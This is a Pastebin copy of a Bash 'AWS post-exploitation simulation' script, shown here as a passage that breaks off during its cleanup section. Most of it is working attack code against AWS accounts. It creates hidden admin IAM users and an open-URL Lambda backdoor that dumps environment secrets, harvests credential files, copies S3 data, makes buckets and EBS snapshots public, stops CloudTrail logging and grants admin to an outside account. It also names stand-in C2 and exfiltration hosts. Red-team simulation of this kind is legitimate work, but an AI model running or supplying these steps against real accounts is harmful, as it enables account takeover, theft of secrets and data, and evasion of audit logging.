orenma

post_exploit.sh

Jan 31st, 2026
821
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 38.05 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. ###############################################################################
  3. # AWS Post-Exploitation Simulation Framework (Bash)
  4. # MITRE ATT&CK Tactics: Persistence, Privilege Escalation, Defense Evasion,
  5. #                       Credential Access, Discovery, Lateral Movement,
  6. #                       Collection, Exfiltration, Impact
  7. #
  8. # WARNING: This is a simulation tool for authorized security testing only.
  9. # Use only in controlled lab environments with explicit authorization.
  10. ###############################################################################
  11.  
  12. set -o pipefail
  13.  
  14. # Color codes for output
  15. RED='\033[0;31m'
  16. GREEN='\033[0;32m'
  17. YELLOW='\033[1;33m'
  18. BLUE='\033[0;34m'
  19. NC='\033[0m' # No Color
  20.  
  21. # Global variables
  22. TIMESTAMP=$(date +%Y%m%d_%H%M%S)
  23. LOG_FILE="aws_postsim_${TIMESTAMP}.log"
  24. ARTIFACTS_FILE="aws_artifacts_${TIMESTAMP}.json"
  25. AWS_REGION="${AWS_REGION:-us-east-1}"
  26. ACCOUNT_ID=""
  27. DRY_RUN=false
  28. OPERATION=""
  29.  
  30. # Initialize artifacts tracking
  31. declare -A ARTIFACTS
  32. ARTIFACTS[iam_users]=""
  33. ARTIFACTS[iam_roles]=""
  34. ARTIFACTS[iam_policies]=""
  35. ARTIFACTS[access_keys]=""
  36. ARTIFACTS[lambda_functions]=""
  37. ARTIFACTS[s3_buckets]=""
  38. ARTIFACTS[ec2_instances]=""
  39. ARTIFACTS[security_groups]=""
  40. ARTIFACTS[snapshots]=""
  41. ARTIFACTS[secrets]=""
  42.  
  43. ###############################################################################
  44. # Utility Functions
  45. ###############################################################################
  46.  
  47. log() {
  48.     local level=$1
  49.     shift
  50.     local message="$@"
  51.     local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
  52.     local log_entry="[${timestamp}] [${level}] ${message}"
  53.    
  54.     case $level in
  55.         ERROR)   echo -e "${RED}${log_entry}${NC}" ;;
  56.         SUCCESS) echo -e "${GREEN}${log_entry}${NC}" ;;
  57.         WARNING) echo -e "${YELLOW}${log_entry}${NC}" ;;
  58.         INFO)    echo -e "${BLUE}${log_entry}${NC}" ;;
  59.         *)       echo "${log_entry}" ;;
  60.     esac
  61.    
  62.     echo "${log_entry}" >> "${LOG_FILE}"
  63. }
  64.  
  65. banner() {
  66.     echo -e "${GREEN}"
  67.     cat << "EOF"
  68.     ╔═══════════════════════════════════════════════════════════╗
  69.     ║   AWS Post-Exploitation Simulation Framework v1.0        ║
  70.     ║   Red Team Training & Detection Validation Tool          ║
  71.     ║   MITRE ATT&CK Cloud Tactics Simulator                   ║
  72.     ╚═══════════════════════════════════════════════════════════╝
  73. EOF
  74.     echo -e "${NC}"
  75. }
  76.  
  77. check_dependencies() {
  78.     log INFO "Checking dependencies..."
  79.     local deps=("aws" "jq" "curl")
  80.    
  81.     for dep in "${deps[@]}"; do
  82.         if ! command -v "$dep" &> /dev/null; then
  83.             log ERROR "Required dependency not found: $dep"
  84.             log INFO "Install with: apt-get install awscli jq curl"
  85.             exit 1
  86.         fi
  87.     done
  88.    
  89.     log SUCCESS "All dependencies found"
  90. }
  91.  
  92. get_account_id() {
  93.     log INFO "Retrieving AWS Account ID..."
  94.     ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text 2>/dev/null)
  95.    
  96.     if [ -z "$ACCOUNT_ID" ]; then
  97.         log ERROR "Failed to retrieve AWS Account ID. Check credentials."
  98.         exit 1
  99.     fi
  100.    
  101.     log SUCCESS "Account ID: ${ACCOUNT_ID}"
  102. }
  103.  
  104. save_artifacts() {
  105.     log INFO "Saving artifacts to ${ARTIFACTS_FILE}..."
  106.    
  107.     local json_output="{"
  108.     json_output+="\"timestamp\":\"${TIMESTAMP}\","
  109.     json_output+="\"account_id\":\"${ACCOUNT_ID}\","
  110.     json_output+="\"region\":\"${AWS_REGION}\","
  111.    
  112.     for key in "${!ARTIFACTS[@]}"; do
  113.         local value="${ARTIFACTS[$key]}"
  114.         if [ -n "$value" ]; then
  115.             json_output+="\"${key}\":["
  116.             # Convert comma-separated values to JSON array
  117.             IFS=',' read -ra items <<< "$value"
  118.             for i in "${!items[@]}"; do
  119.                 json_output+="\"${items[$i]}\""
  120.                 if [ $i -lt $((${#items[@]} - 1)) ]; then
  121.                     json_output+=","
  122.                 fi
  123.             done
  124.             json_output+="],"
  125.         else
  126.             json_output+="\"${key}\":[],"
  127.         fi
  128.     done
  129.    
  130.     json_output="${json_output%,}}"
  131.     echo "$json_output" | jq '.' > "${ARTIFACTS_FILE}"
  132.     log SUCCESS "Artifacts saved to ${ARTIFACTS_FILE}"
  133. }
  134.  
  135. ###############################################################################
  136. # T1098 - Account Manipulation (Persistence)
  137. ###############################################################################
  138.  
  139. create_backdoor_user() {
  140.     log INFO "=== T1098: Account Manipulation - Creating Backdoor User ==="
  141.    
  142.     if [ "$DRY_RUN" = true ]; then
  143.         log WARNING "[DRY RUN] Would create backdoor IAM user"
  144.         return
  145.     fi
  146.    
  147.     local username="system-backup-svc-${TIMESTAMP}"
  148.    
  149.     log INFO "Creating IAM user: ${username}"
  150.    
  151.     if aws iam create-user \
  152.         --user-name "${username}" \
  153.         --tags Key=Purpose,Value=BackupService Key=CreatedBy,Value=AutomatedProcess \
  154.         2>> "${LOG_FILE}"; then
  155.        
  156.         ARTIFACTS[iam_users]+="${username},"
  157.         log SUCCESS "Created backdoor user: ${username}"
  158.        
  159.         # Create access key
  160.         log INFO "Creating access key for ${username}..."
  161.         local key_output=$(aws iam create-access-key --user-name "${username}" --output json)
  162.        
  163.         if [ $? -eq 0 ]; then
  164.             local access_key_id=$(echo "$key_output" | jq -r '.AccessKey.AccessKeyId')
  165.             local secret_key=$(echo "$key_output" | jq -r '.AccessKey.SecretAccessKey')
  166.            
  167.             ARTIFACTS[access_keys]+="${username}:${access_key_id},"
  168.            
  169.             # Save credentials
  170.             local creds_file="backdoor_creds_${username}.json"
  171.             cat > "${creds_file}" <<EOF
  172. {
  173.   "Username": "${username}",
  174.   "AccessKeyId": "${access_key_id}",
  175.   "SecretAccessKey": "${secret_key}",
  176.   "Region": "${AWS_REGION}",
  177.   "AccountId": "${ACCOUNT_ID}"
  178. }
  179. EOF
  180.             log SUCCESS "Credentials saved to: ${creds_file}"
  181.            
  182.             # Attach admin policy (T1098.001 - Additional Cloud Credentials)
  183.             log INFO "Attaching AdministratorAccess policy..."
  184.             if aws iam attach-user-policy \
  185.                 --user-name "${username}" \
  186.                 --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
  187.                 2>> "${LOG_FILE}"; then
  188.                 log SUCCESS "Attached AdministratorAccess to ${username}"
  189.             else
  190.                 log ERROR "Failed to attach policy"
  191.             fi
  192.         else
  193.             log ERROR "Failed to create access key"
  194.         fi
  195.     else
  196.         log ERROR "Failed to create backdoor user"
  197.     fi
  198. }
  199.  
  200. ###############################################################################
  201. # T1078.004 - Valid Accounts: Cloud Accounts (Persistence)
  202. ###############################################################################
  203.  
  204. create_lambda_backdoor() {
  205.     log INFO "=== T1078.004: Lambda Backdoor for Persistence ==="
  206.    
  207.     if [ "$DRY_RUN" = true ]; then
  208.         log WARNING "[DRY RUN] Would create Lambda backdoor"
  209.         return
  210.     fi
  211.    
  212.     local role_name="lambda-backup-exec-${TIMESTAMP}"
  213.     local function_name="system-health-check-${TIMESTAMP}"
  214.    
  215.     # Create IAM role for Lambda
  216.     log INFO "Creating Lambda execution role: ${role_name}"
  217.    
  218.     local trust_policy=$(cat <<EOF
  219. {
  220.   "Version": "2012-10-17",
  221.   "Statement": [{
  222.     "Effect": "Allow",
  223.     "Principal": {"Service": "lambda.amazonaws.com"},
  224.     "Action": "sts:AssumeRole"
  225.   }]
  226. }
  227. EOF
  228. )
  229.    
  230.     local role_arn=$(aws iam create-role \
  231.         --role-name "${role_name}" \
  232.         --assume-role-policy-document "${trust_policy}" \
  233.         --description "Lambda execution role for system monitoring" \
  234.         --query 'Role.Arn' \
  235.         --output text 2>> "${LOG_FILE}")
  236.    
  237.     if [ $? -eq 0 ]; then
  238.         ARTIFACTS[iam_roles]+="${role_name},"
  239.         log SUCCESS "Created role: ${role_name}"
  240.        
  241.         # Attach policies
  242.         aws iam attach-role-policy \
  243.             --role-name "${role_name}" \
  244.             --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
  245.             2>> "${LOG_FILE}"
  246.        
  247.         # Wait for role to propagate
  248.         sleep 10
  249.        
  250.         # Create Lambda function with reverse shell payload
  251.         log INFO "Creating Lambda function: ${function_name}"
  252.        
  253.         local lambda_code=$(cat <<'EOF'
  254. import json
  255. import boto3
  256. import os
  257.  
  258. def lambda_handler(event, context):
  259.     """
  260.     Backdoor Lambda function for post-exploitation
  261.     Can be triggered to execute arbitrary commands
  262.     """
  263.    
  264.     # Command execution capability
  265.     command = event.get('command', 'whoami')
  266.    
  267.     if command == 'exfil_env':
  268.         # Exfiltrate environment variables and credentials
  269.         return {
  270.             'statusCode': 200,
  271.             'body': json.dumps({
  272.                 'environment': dict(os.environ),
  273.                 'identity': boto3.client('sts').get_caller_identity()
  274.             })
  275.         }
  276.     elif command == 'list_secrets':
  277.         # List secrets in Secrets Manager
  278.         sm = boto3.client('secretsmanager')
  279.         secrets = sm.list_secrets()
  280.         return {
  281.             'statusCode': 200,
  282.             'body': json.dumps(secrets)
  283.         }
  284.     elif command == 'enumerate_s3':
  285.         # Enumerate S3 buckets
  286.         s3 = boto3.client('s3')
  287.         buckets = s3.list_buckets()
  288.         return {
  289.             'statusCode': 200,
  290.             'body': json.dumps(buckets)
  291.         }
  292.    
  293.     return {
  294.         'statusCode': 200,
  295.         'body': json.dumps('Backdoor active')
  296.     }
  297. EOF
  298. )
  299.        
  300.         # Create deployment package
  301.         local temp_dir=$(mktemp -d)
  302.         echo "$lambda_code" > "${temp_dir}/lambda_function.py"
  303.         cd "${temp_dir}"
  304.         zip -q lambda.zip lambda_function.py
  305.        
  306.         # Deploy Lambda
  307.         if aws lambda create-function \
  308.             --function-name "${function_name}" \
  309.             --runtime python3.11 \
  310.             --role "${role_arn}" \
  311.             --handler lambda_function.lambda_handler \
  312.             --zip-file fileb://lambda.zip \
  313.             --timeout 60 \
  314.             --memory-size 256 \
  315.             --description "System health monitoring function" \
  316.             2>> "${LOG_FILE}"; then
  317.            
  318.             ARTIFACTS[lambda_functions]+="${function_name},"
  319.             log SUCCESS "Lambda backdoor deployed: ${function_name}"
  320.            
  321.             # Create URL for remote access (T1071.001 - Web Protocols)
  322.             log INFO "Creating Function URL for remote access..."
  323.             local func_url=$(aws lambda create-function-url-config \
  324.                 --function-name "${function_name}" \
  325.                 --auth-type NONE \
  326.                 --query 'FunctionUrl' \
  327.                 --output text 2>> "${LOG_FILE}")
  328.            
  329.             if [ $? -eq 0 ]; then
  330.                 log SUCCESS "Lambda URL: ${func_url}"
  331.                 echo "${func_url}" > "lambda_backdoor_url_${function_name}.txt"
  332.             fi
  333.         else
  334.             log ERROR "Failed to create Lambda function"
  335.         fi
  336.        
  337.         cd - > /dev/null
  338.         rm -rf "${temp_dir}"
  339.     else
  340.         log ERROR "Failed to create Lambda role"
  341.     fi
  342. }
  343.  
  344. ###############################################################################
  345. # T1552.005 - Cloud Instance Metadata API (Credential Access)
  346. ###############################################################################
  347.  
  348. enumerate_iam_permissions() {
  349.     log INFO "=== T1552.005: Enumerating Current IAM Permissions ==="
  350.    
  351.     local identity=$(aws sts get-caller-identity --output json 2>/dev/null)
  352.    
  353.     if [ $? -eq 0 ]; then
  354.         log SUCCESS "Current Identity:"
  355.         echo "$identity" | jq '.' | tee -a "${LOG_FILE}"
  356.        
  357.         local user_arn=$(echo "$identity" | jq -r '.Arn')
  358.         local username=$(echo "$user_arn" | awk -F'/' '{print $NF}')
  359.        
  360.         # Try to enumerate attached policies
  361.         log INFO "Enumerating attached policies..."
  362.         aws iam list-attached-user-policies --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}"
  363.        
  364.         # List access keys
  365.         log INFO "Enumerating access keys..."
  366.         aws iam list-access-keys --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}"
  367.     else
  368.         log ERROR "Failed to get identity information"
  369.     fi
  370. }
  371.  
  372. ###############################################################################
  373. # T1087.004 - Account Discovery: Cloud Account (Discovery)
  374. ###############################################################################
  375.  
  376. discover_cloud_environment() {
  377.     log INFO "=== T1087.004: Cloud Environment Discovery ==="
  378.    
  379.     log INFO "Discovering IAM Users..."
  380.     aws iam list-users --output json 2>/dev/null | jq '.Users[] | {UserName, UserId, CreateDate, Arn}' | tee -a "${LOG_FILE}"
  381.    
  382.     log INFO "Discovering IAM Roles..."
  383.     aws iam list-roles --output json 2>/dev/null | jq '.Roles[] | {RoleName, RoleId, CreateDate}' | head -20 | tee -a "${LOG_FILE}"
  384.    
  385.     log INFO "Discovering EC2 Instances..."
  386.     aws ec2 describe-instances --output json 2>/dev/null | \
  387.         jq '.Reservations[].Instances[] | {InstanceId, InstanceType, State: .State.Name, PrivateIpAddress, PublicIpAddress}' | \
  388.         tee -a "${LOG_FILE}"
  389.    
  390.     log INFO "Discovering S3 Buckets..."
  391.     aws s3api list-buckets --output json 2>/dev/null | jq '.Buckets[] | {Name, CreationDate}' | tee -a "${LOG_FILE}"
  392.    
  393.     log INFO "Discovering Lambda Functions..."
  394.     aws lambda list-functions --output json 2>/dev/null | \
  395.         jq '.Functions[] | {FunctionName, Runtime, Role, LastModified}' | \
  396.         tee -a "${LOG_FILE}"
  397.    
  398.     log INFO "Discovering Security Groups..."
  399.     aws ec2 describe-security-groups --output json 2>/dev/null | \
  400.         jq '.SecurityGroups[] | {GroupId, GroupName, VpcId}' | \
  401.         tee -a "${LOG_FILE}"
  402. }
  403.  
  404. ###############################################################################
  405. # T1530 - Data from Cloud Storage Object (Collection)
  406. ###############################################################################
  407.  
  408. exfiltrate_s3_data() {
  409.     log INFO "=== T1530: S3 Data Exfiltration Simulation ==="
  410.    
  411.     if [ "$DRY_RUN" = true ]; then
  412.         log WARNING "[DRY RUN] Would enumerate and exfiltrate S3 data"
  413.         return
  414.     fi
  415.    
  416.     local exfil_dir="exfiltrated_data_${TIMESTAMP}"
  417.     mkdir -p "${exfil_dir}"
  418.    
  419.     log INFO "Enumerating accessible S3 buckets..."
  420.     local buckets=$(aws s3api list-buckets --query 'Buckets[].Name' --output text 2>/dev/null)
  421.    
  422.     if [ -z "$buckets" ]; then
  423.         log WARNING "No S3 buckets found or access denied"
  424.         return
  425.     fi
  426.    
  427.     for bucket in $buckets; do
  428.         log INFO "Attempting to list contents of: ${bucket}"
  429.        
  430.         # Try to list objects
  431.         local objects=$(aws s3api list-objects-v2 \
  432.             --bucket "${bucket}" \
  433.             --max-items 5 \
  434.             --output json 2>/dev/null)
  435.        
  436.         if [ $? -eq 0 ]; then
  437.             log SUCCESS "Access granted to bucket: ${bucket}"
  438.             echo "$objects" > "${exfil_dir}/${bucket}_contents.json"
  439.            
  440.             # Attempt to download first few files (limited simulation)
  441.             echo "$objects" | jq -r '.Contents[]?.Key' | head -3 | while read -r key; do
  442.                 if [ -n "$key" ]; then
  443.                     log INFO "Downloading: s3://${bucket}/${key}"
  444.                     aws s3 cp "s3://${bucket}/${key}" "${exfil_dir}/${bucket}_$(basename ${key})" 2>> "${LOG_FILE}" || true
  445.                 fi
  446.             done
  447.         else
  448.             log WARNING "Access denied to bucket: ${bucket}"
  449.         fi
  450.     done
  451.    
  452.     log SUCCESS "Exfiltration simulation complete. Data in: ${exfil_dir}"
  453. }
  454.  
  455. ###############################################################################
  456. # T1078.004 - Create Exfiltration S3 Bucket (Exfiltration)
  457. ###############################################################################
  458.  
  459. create_exfil_bucket() {
  460.     log INFO "=== T1537: S3 Exfiltration Bucket Creation ==="
  461.    
  462.     if [ "$DRY_RUN" = true ]; then
  463.         log WARNING "[DRY RUN] Would create exfiltration S3 bucket"
  464.         return
  465.     fi
  466.    
  467.     local bucket_name="backup-logs-${ACCOUNT_ID}-${TIMESTAMP}"
  468.    
  469.     log INFO "Creating exfiltration bucket: ${bucket_name}"
  470.    
  471.     if aws s3api create-bucket \
  472.         --bucket "${bucket_name}" \
  473.         --region "${AWS_REGION}" \
  474.         $([ "$AWS_REGION" != "us-east-1" ] && echo "--create-bucket-configuration LocationConstraint=${AWS_REGION}") \
  475.         2>> "${LOG_FILE}"; then
  476.        
  477.         ARTIFACTS[s3_buckets]+="${bucket_name},"
  478.         log SUCCESS "Created exfiltration bucket: ${bucket_name}"
  479.        
  480.         # Make bucket publicly accessible (simulating data leak)
  481.         log INFO "Configuring bucket for exfiltration..."
  482.        
  483.         # Disable block public access
  484.         aws s3api put-public-access-block \
  485.             --bucket "${bucket_name}" \
  486.             --public-access-block-configuration \
  487.             "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false" \
  488.             2>> "${LOG_FILE}"
  489.        
  490.         # Add bucket policy for public read
  491.         local bucket_policy=$(cat <<EOF
  492. {
  493.   "Version": "2012-10-17",
  494.   "Statement": [{
  495.     "Sid": "PublicReadGetObject",
  496.     "Effect": "Allow",
  497.     "Principal": "*",
  498.     "Action": "s3:GetObject",
  499.     "Resource": "arn:aws:s3:::${bucket_name}/*"
  500.   }]
  501. }
  502. EOF
  503. )
  504.        
  505.         echo "$bucket_policy" | aws s3api put-bucket-policy \
  506.             --bucket "${bucket_name}" \
  507.             --policy file:///dev/stdin \
  508.             2>> "${LOG_FILE}"
  509.        
  510.         log SUCCESS "Exfiltration bucket configured: s3://${bucket_name}"
  511.         echo "s3://${bucket_name}" > "exfil_bucket_${bucket_name}.txt"
  512.     else
  513.         log ERROR "Failed to create exfiltration bucket"
  514.     fi
  515. }
  516.  
  517. ###############################################################################
  518. # T1528 - Steal Application Access Token (Credential Access)
  519. ###############################################################################
  520.  
  521. harvest_credentials() {
  522.     log INFO "=== T1528: Credential Harvesting Simulation ==="
  523.    
  524.     local creds_file="harvested_credentials_${TIMESTAMP}.txt"
  525.    
  526.     log INFO "Harvesting AWS credentials from environment..."
  527.     {
  528.         echo "=== Environment Variables ==="
  529.         env | grep -i "AWS\|SECRET\|KEY\|TOKEN\|PASS" || echo "No AWS credentials in environment"
  530.        
  531.         echo -e "\n=== AWS Config Files ==="
  532.         if [ -f ~/.aws/credentials ]; then
  533.             echo "Found: ~/.aws/credentials"
  534.             cat ~/.aws/credentials 2>/dev/null || echo "Access denied"
  535.         fi
  536.        
  537.         if [ -f ~/.aws/config ]; then
  538.             echo "Found: ~/.aws/config"
  539.             cat ~/.aws/config 2>/dev/null || echo "Access denied"
  540.         fi
  541.        
  542.         echo -e "\n=== Current Session Token ==="
  543.         aws sts get-session-token --output json 2>/dev/null || echo "Failed to get session token"
  544.        
  545.     } | tee "${creds_file}" >> "${LOG_FILE}"
  546.    
  547.     log SUCCESS "Credentials harvested to: ${creds_file}"
  548. }
  549.  
  550. ###############################################################################
  551. # T1562.008 - Impair Defenses: Disable Cloud Logs (Defense Evasion)
  552. ###############################################################################
  553.  
  554. disable_cloudtrail() {
  555.     log INFO "=== T1562.008: CloudTrail Logging Disruption ==="
  556.    
  557.     if [ "$DRY_RUN" = true ]; then
  558.         log WARNING "[DRY RUN] Would disable CloudTrail logging"
  559.         return
  560.     fi
  561.    
  562.     log INFO "Enumerating CloudTrail trails..."
  563.     local trails=$(aws cloudtrail describe-trails --query 'trailList[].Name' --output text 2>/dev/null)
  564.    
  565.     if [ -z "$trails" ]; then
  566.         log WARNING "No CloudTrail trails found"
  567.         return
  568.     fi
  569.    
  570.     for trail in $trails; do
  571.         log INFO "Attempting to stop trail: ${trail}"
  572.        
  573.         if aws cloudtrail stop-logging --name "${trail}" 2>> "${LOG_FILE}"; then
  574.             log SUCCESS "Stopped logging for trail: ${trail}"
  575.             ARTIFACTS[cloudtrail]+="${trail},"
  576.         else
  577.             log ERROR "Failed to stop trail: ${trail}"
  578.         fi
  579.     done
  580. }
  581.  
  582. ###############################################################################
  583. # T1485 - Data Destruction (Impact)
  584. ###############################################################################
  585.  
  586. create_snapshot_backdoor() {
  587.     log INFO "=== T1537: EBS Snapshot for Data Exfiltration ==="
  588.    
  589.     if [ "$DRY_RUN" = true ]; then
  590.         log WARNING "[DRY RUN] Would create public EBS snapshots"
  591.         return
  592.     fi
  593.    
  594.     log INFO "Enumerating EBS volumes..."
  595.     local volumes=$(aws ec2 describe-volumes \
  596.         --query 'Volumes[?State==`in-use`].VolumeId' \
  597.         --output text 2>/dev/null | head -1)
  598.    
  599.     if [ -z "$volumes" ]; then
  600.         log WARNING "No active EBS volumes found"
  601.         return
  602.     fi
  603.    
  604.     for volume in $volumes; do
  605.         log INFO "Creating snapshot of volume: ${volume}"
  606.        
  607.         local snapshot_id=$(aws ec2 create-snapshot \
  608.             --volume-id "${volume}" \
  609.             --description "Backup snapshot for disaster recovery" \
  610.             --query 'SnapshotId' \
  611.             --output text 2>> "${LOG_FILE}")
  612.        
  613.         if [ $? -eq 0 ]; then
  614.             ARTIFACTS[snapshots]+="${snapshot_id},"
  615.             log SUCCESS "Created snapshot: ${snapshot_id}"
  616.            
  617.             # Wait for snapshot to complete
  618.             log INFO "Waiting for snapshot to complete..."
  619.             aws ec2 wait snapshot-completed --snapshot-ids "${snapshot_id}" 2>> "${LOG_FILE}"
  620.            
  621.             # Make snapshot public (T1537 - Transfer Data to Cloud Account)
  622.             log INFO "Making snapshot public for exfiltration..."
  623.             if aws ec2 modify-snapshot-attribute \
  624.                 --snapshot-id "${snapshot_id}" \
  625.                 --attribute createVolumePermission \
  626.                 --operation-type add \
  627.                 --group-names all \
  628.                 2>> "${LOG_FILE}"; then
  629.                 log SUCCESS "Snapshot ${snapshot_id} is now public"
  630.             fi
  631.         else
  632.             log ERROR "Failed to create snapshot"
  633.         fi
  634.     done
  635. }
  636.  
  637. ###############################################################################
  638. # T1053.007 - Scheduled Task/Job: Container Orchestration Job (Persistence)
  639. ###############################################################################
  640.  
  641. create_secrets_backdoor() {
  642.     log INFO "=== T1555.004: Secrets Manager Backdoor Creation ==="
  643.    
  644.     if [ "$DRY_RUN" = true ]; then
  645.         log WARNING "[DRY RUN] Would create backdoor secret"
  646.         return
  647.     fi
  648.    
  649.     local secret_name="prod/database/backup-credentials-${TIMESTAMP}"
  650.    
  651.     log INFO "Creating backdoor secret: ${secret_name}"
  652.    
  653.     local secret_value=$(cat <<EOF
  654. {
  655.   "backdoor_user": "system-admin",
  656.   "backdoor_key": "$(openssl rand -base64 32)",
  657.   "c2_server": "attacker-c2.example.com",
  658.   "exfil_endpoint": "https://exfil.example.com/upload"
  659. }
  660. EOF
  661. )
  662.    
  663.     if aws secretsmanager create-secret \
  664.         --name "${secret_name}" \
  665.         --description "Database backup credentials for automated recovery" \
  666.         --secret-string "${secret_value}" \
  667.         2>> "${LOG_FILE}"; then
  668.        
  669.         ARTIFACTS[secrets]+="${secret_name},"
  670.         log SUCCESS "Created backdoor secret: ${secret_name}"
  671.     else
  672.         log ERROR "Failed to create secret"
  673.     fi
  674. }
  675.  
  676. ###############################################################################
  677. # T1136.003 - Create Account: Cloud Account (Persistence)
  678. ###############################################################################
  679.  
  680. create_assume_role_backdoor() {
  681.     log INFO "=== T1136.003: Cross-Account Assume Role Backdoor ==="
  682.    
  683.     if [ "$DRY_RUN" = true ]; then
  684.         log WARNING "[DRY RUN] Would create cross-account assume role"
  685.         return
  686.     fi
  687.    
  688.     local role_name="cross-account-backup-${TIMESTAMP}"
  689.    
  690.     # Create role that can be assumed from another account (attacker-controlled)
  691.     local trust_policy=$(cat <<EOF
  692. {
  693.   "Version": "2012-10-17",
  694.   "Statement": [{
  695.     "Effect": "Allow",
  696.     "Principal": {
  697.       "AWS": "arn:aws:iam::123456789012:root"
  698.     },
  699.     "Action": "sts:AssumeRole",
  700.     "Condition": {}
  701.   }]
  702. }
  703. EOF
  704. )
  705.    
  706.     log INFO "Creating assume role backdoor: ${role_name}"
  707.    
  708.     if aws iam create-role \
  709.         --role-name "${role_name}" \
  710.         --assume-role-policy-document "${trust_policy}" \
  711.         --description "Cross-account backup and recovery role" \
  712.         2>> "${LOG_FILE}"; then
  713.        
  714.         ARTIFACTS[iam_roles]+="${role_name},"
  715.         log SUCCESS "Created assume role backdoor: ${role_name}"
  716.        
  717.         # Attach admin policy
  718.         aws iam attach-role-policy \
  719.             --role-name "${role_name}" \
  720.             --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
  721.             2>> "${LOG_FILE}"
  722.        
  723.         log SUCCESS "Attached AdministratorAccess to ${role_name}"
  724.         log INFO "External account 123456789012 can now assume this role"
  725.     else
  726.         log ERROR "Failed to create assume role"
  727.     fi
  728. }
  729.  
  730. ###############################################################################
  731. # Cleanup Functions
  732. ###############################################################################
  733.  
  734. cleanup_iam_users() {
  735.     log INFO "Cleaning up IAM users..."
  736.    
  737.     if [ -z "${ARTIFACTS[iam_users]}" ]; then
  738.         log INFO "No IAM users to clean up"
  739.         return
  740.     fi
  741.    
  742.     IFS=',' read -ra users <<< "${ARTIFACTS[iam_users]}"
  743.     for user in "${users[@]}"; do
  744.         if [ -n "$user" ]; then
  745.             log INFO "Deleting IAM user: ${user}"
  746.            
  747.             # Delete access keys
  748.             local keys=$(aws iam list-access-keys --user-name "${user}" --query 'AccessKeyMetadata[].AccessKeyId' --output text 2>/dev/null)
  749.             for key in $keys; do
  750.                 aws iam delete-access-key --user-name "${user}" --access-key-id "${key}" 2>> "${LOG_FILE}"
  751.                 log INFO "Deleted access key: ${key}"
  752.             done
  753.            
  754.             # Detach policies
  755.             local policies=$(aws iam list-attached-user-policies --user-name "${user}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null)
  756.             for policy in $policies; do
  757.                 aws iam detach-user-policy --user-name "${user}" --policy-arn "${policy}" 2>> "${LOG_FILE}"
  758.                 log INFO "Detached policy: ${policy}"
  759.             done
  760.            
  761.             # Delete user
  762.             if aws iam delete-user --user-name "${user}" 2>> "${LOG_FILE}"; then
  763.                 log SUCCESS "Deleted user: ${user}"
  764.             else
  765.                 log ERROR "Failed to delete user: ${user}"
  766.             fi
  767.         fi
  768.     done
  769. }
  770.  
  771. cleanup_iam_roles() {
  772.     log INFO "Cleaning up IAM roles..."
  773.    
  774.     if [ -z "${ARTIFACTS[iam_roles]}" ]; then
  775.         log INFO "No IAM roles to clean up"
  776.         return
  777.     fi
  778.    
  779.     IFS=',' read -ra roles <<< "${ARTIFACTS[iam_roles]}"
  780.     for role in "${roles[@]}"; do
  781.         if [ -n "$role" ]; then
  782.             log INFO "Deleting IAM role: ${role}"
  783.            
  784.             # Detach policies
  785.             local policies=$(aws iam list-attached-role-policies --role-name "${role}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null)
  786.             for policy in $policies; do
  787.                 aws iam detach-role-policy --role-name "${role}" --policy-arn "${policy}" 2>> "${LOG_FILE}"
  788.                 log INFO "Detached policy: ${policy}"
  789.             done
  790.            
  791.             # Delete role
  792.             if aws iam delete-role --role-name "${role}" 2>> "${LOG_FILE}"; then
  793.                 log SUCCESS "Deleted role: ${role}"
  794.             else
  795.                 log ERROR "Failed to delete role: ${role}"
  796.             fi
  797.         fi
  798.     done
  799. }
  800.  
  801. cleanup_lambda_functions() {
  802.     log INFO "Cleaning up Lambda functions..."
  803.    
  804.     if [ -z "${ARTIFACTS[lambda_functions]}" ]; then
  805.         log INFO "No Lambda functions to clean up"
  806.         return
  807.     fi
  808.    
  809.     IFS=',' read -ra functions <<< "${ARTIFACTS[lambda_functions]}"
  810.     for func in "${functions[@]}"; do
  811.         if [ -n "$func" ]; then
  812.             log INFO "Deleting Lambda function: ${func}"
  813.            
  814.             # Delete function URL config if exists
  815.             aws lambda delete-function-url-config --function-name "${func}" 2>/dev/null
  816.            
  817.             # Delete function
  818.             if aws lambda delete-function --function-name "${func}" 2>> "${LOG_FILE}"; then
  819.                 log SUCCESS "Deleted function: ${func}"
  820.             else
  821.                 log ERROR "Failed to delete function: ${func}"
  822.             fi
  823.         fi
  824.     done
  825. }
  826.  
  827. cleanup_s3_buckets() {
  828.     log INFO "Cleaning up S3 buckets..."
  829.    
  830.     if [ -z "${ARTIFACTS[s3_buckets]}" ]; then
  831.         log INFO "No S3 buckets to clean up"
  832.         return
  833.     fi
  834.    
  835.     IFS=',' read -ra buckets <<< "${ARTIFACTS[s3_buckets]}"
  836.     for bucket in "${buckets[@]}"; do
  837.         if [ -n "$bucket" ]; then
  838.             log INFO "Deleting S3 bucket: ${bucket}"
  839.            
  840.             # Empty bucket first
  841.             aws s3 rm "s3://${bucket}" --recursive 2>> "${LOG_FILE}"
  842.            
  843.             # Delete bucket
  844.             if aws s3api delete-bucket --bucket "${bucket}" 2>> "${LOG_FILE}"; then
  845.                 log SUCCESS "Deleted bucket: ${bucket}"
  846.             else
  847.                 log ERROR "Failed to delete bucket: ${bucket}"
  848.             fi
  849.         fi
  850.     done
  851. }
  852.  
  853. cleanup_snapshots() {
  854.     log INFO "Cleaning up EBS snapshots..."
  855.    
  856.     if [ -z "${ARTIFACTS[snapshots]}" ]; then
  857.         log INFO "No snapshots to clean up"
  858.         return
  859.     fi
  860.    
  861.     IFS=',' read -ra snapshots <<< "${ARTIFACTS[snapshots]}"
  862.     for snapshot in "${snapshots[@]}"; do
  863.         if [ -n "$snapshot" ]; then
  864.             log INFO "Deleting snapshot: ${snapshot}"
  865.            
  866.             if aws ec2 delete-snapshot --snapshot-id "${snapshot}" 2>> "${LOG_FILE}"; then
  867.                 log SUCCESS "Deleted snapshot: ${snapshot}"
  868.             else
